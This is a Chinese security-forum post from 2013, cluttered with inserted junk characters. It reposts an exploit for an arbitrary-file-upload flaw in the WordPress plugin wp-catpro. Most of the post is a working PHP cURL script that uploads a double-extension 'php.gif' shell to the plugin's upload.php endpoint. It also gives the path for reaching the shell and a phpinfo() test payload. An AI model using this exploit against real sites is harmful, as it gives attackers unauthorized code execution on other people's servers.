找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2062|回复: 0
打印 上一主题 下一主题

WordPress插件wp-catpro任意文件上传

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-27 20:12:43 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability  b; @9 \8 v' k' G& h
#-----------------------------------------------------------------------
' ^& H( z( z( @. ~1 ?, g, P# A 2 @1 Y: M! j% j  D, k
作者  => Zikou-16
6 N4 _% {! k' V( f8 h* {邮箱 => zikou16x@gmail.com
# I. |( \  x4 ]0 A测试系统 : Windows 7 , Backtrack 5r3
0 v! U/ K" y9 M+ m. G, t下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
/ \) y, z0 C  ~0 ?% g####
) I+ V( X7 D" F& i- [% @4 p
, J8 p4 @5 c6 G2 ]' q- a#=> Exploit 信息:9 W" u* \) G$ h0 i
------------------
, c  v+ f' [/ ]/ a2 |' n6 q# 攻击者可以上传 file/shell.php.gif
& `3 l" r0 `7 {2 M  e( v+ y3 z# ("jpg", "gif", "png")  // Allowed file extensions" Z7 f4 ]! _1 m2 u* S) c9 K' T
# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)7 }: N# \: @2 r' q1 Y* J, J  v
# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
9 |6 v& d# K6 |! S# _, \: h------------------
$ @9 m, y( m, L% Y  w
( m2 t- ]/ `, d. B$ V3 L& A#=> Exploit+ X0 b! d! W2 e; {4 n; n
-----------4 c# K+ K  T6 @
<?php
6 k7 L' u2 O6 d/ b
) S, X; p! w; O! u5 T2 h% r$uploadfile="zik.php.gif";
  ^! V) S7 i. B; t1 T# _8 N$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");7 X7 G% g4 s: y: s  Z  S% i. ~
curl_setopt($ch, CURLOPT_POST, true);8 g9 @( v' K& \5 x6 \% n
curl_setopt($ch, CURLOPT_POSTFIELDS,6 c  U1 R4 x* x8 k. E8 t$ Z
array('Filedata'=>"@$uploadfile",7 R# G' s8 z) b6 a8 B
'folder'=>'/wp-content/uploads/catpro/'));
. X5 b% o' Z! P* m+ y( \curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);0 ^2 M. z8 z$ \4 V$ z' P
$postResult = curl_exec($ch);
( z& p  |4 j- L" Y0 K7 w6 [" Vcurl_close($ch);( s- [/ O1 c! l5 S( N
5 w, O  Y; {3 Z& z
print "$postResult";! \, \  ~3 W( X8 C% `" b; D
2 P" ^" ]1 c& }% o
Shell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif. G7 n' J8 K, o
  ?>) n/ [( }0 V5 V" T0 i
<?php& Y; b2 s4 j* ~) Z  y. a1 ]
phpinfo();
  A  B: |9 T0 x+ }" e" R?>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表